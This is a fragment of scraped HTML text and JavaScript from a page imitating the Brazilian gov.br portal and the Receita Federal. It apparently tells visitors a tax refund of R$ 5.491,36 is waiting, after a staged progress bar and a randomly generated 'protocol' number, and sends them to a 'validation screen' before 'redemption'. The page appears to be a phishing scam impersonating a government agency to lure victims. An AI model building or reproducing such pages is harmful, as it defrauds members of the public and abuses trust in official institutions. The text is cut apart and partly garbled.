gov.br logo
Governo Federal do Brasil
Ambiente seguro
Gerando guia de restituição
Processando a geração do documento. Aguarde enquanto preparamos o arquivo.
Processando dados e gerando documento — aguarde.
3.5s
`; }, 200); } else { progressBar.style.width = pct + "%"; } }, 100); } function showResultView() { const protocolo = 'GR-' + (Math.floor(Math.random() * 900000) + 100000); const dataGeracao = new Date().toLocaleString('pt-BR'); cardEl.innerHTML = `
gov.br logo
Governo Federal do Brasil
Ambiente seguro
Guia de Restituição
Documento gerado pela Receita Federal do Brasil.
Protocolo
${protocolo}
Data de geração
${dataGeracao}
Saque disponível
R$ 5.491,36
Gerar guia de restituição
© Portal Institucional - gov.br
Documento eletrônico emitido automaticamente — não requer assinatura.
`; document.getElementById('btnView').addEventListener('click', () => { // Mostra tela de validação antes de ir ao resgate showValidationScreen(); }); } function tick() { const elapsed = Date.now() - start; const pct = Math.min(1, elapsed / totalMs); progressEl.style.width = (pct * 100) + '%'; const remaining = Math.max(0, (totalMs - elapsed) / 1000); countEl.textContent = remaining.toFixed(1) + 's'; if (elapsed < totalMs) { requestAnimationFrame(tick); } else { progressEl.style.width = '100%'; countEl.textContent = '0.0s'; setTimeout(showResultView, 120); } } requestAnimationFrame(tick);